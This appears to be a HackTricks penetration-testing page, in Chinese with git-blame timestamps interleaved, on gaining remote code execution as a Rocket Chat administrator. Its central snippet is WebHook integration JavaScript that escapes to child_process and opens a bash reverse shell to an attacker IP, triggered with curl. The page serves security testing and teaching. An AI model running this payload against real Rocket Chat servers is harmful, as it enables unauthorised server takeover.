2023-03-28 11:38:04 +00:00
|
|
|
|
# Rocket Chat
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-04-25 18:35:28 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2023-03-28 11:38:04 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
|
|
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
2023-03-28 11:38:04 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
|
|
|
|
## RCE
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
如果你是Rocket Chat中的管理员,你可以获得RCE。
|
2023-03-28 11:38:04 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 进入**`Integrations`**并选择**`New Integration`**,然后选择任意一个:**`Incoming WebHook`**或**`Outgoing WebHook`**。
|
|
|
|
|
* `/admin/integrations/incoming`
|
2023-03-28 11:38:04 +00:00
|
|
|
|
|
2023-05-04 23:22:39 +00:00
|
|
|
|
<figure><img src="../../.gitbook/assets/image (4) (2).png" alt=""><figcaption></figcaption></figure>
|
2023-03-28 11:38:04 +00:00
|
|
|
|
|
2023-08-15 18:29:39 +00:00
|
|
|
|
* 根据[文档](https://docs.rocket.chat/guides/administration/admin-panel/integrations),两者都使用ES2015 / ECMAScript 6(基本上是JavaScript)来处理数据。所以让我们获取一个[用于javascript的反向shell](../../generic-methodologies-and-resources/shells/linux.md#nodejs),例如:
|
2023-03-28 11:38:04 +00:00
|
|
|
|
```javascript
|
|
|
|
|
const require = console.log.constructor('return process.mainModule.require')();
|
|
|
|
|
const { exec } = require('child_process');
|
|
|
|
|
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
|
|
|
|
```
|
2023-08-15 18:29:39 +00:00
|
|
|
|
* 配置WebHook(必须存在通道和以用户名发布):
|
2023-03-28 11:38:04 +00:00
|
|
|
|
|
2023-04-30 21:54:03 +00:00
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
|
2023-03-28 11:38:04 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 配置WebHook脚本:
|
2023-03-28 11:38:04 +00:00
|
|
|
|
|
2023-06-14 10:51:55 +00:00
|
|
|
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
2023-03-28 11:38:04 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 保存更改
|
|
|
|
|
* 获取生成的WebHook URL:
|
2023-03-28 11:38:04 +00:00
|
|
|
|
|
2023-08-15 18:29:39 +00:00
|
|
|
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
2023-03-28 11:38:04 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 使用curl调用它,您应该收到反向shell
|
2023-03-28 11:38:04 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-04-25 18:35:28 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2023-03-28 11:38:04 +00:00
|
|
|
|
|
2023-08-15 18:29:39 +00:00
|
|
|
|
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品-[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
|
|
|
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
2023-03-28 11:38:04 +00:00
|
|
|
|
|
|
|
|
|
</details>
|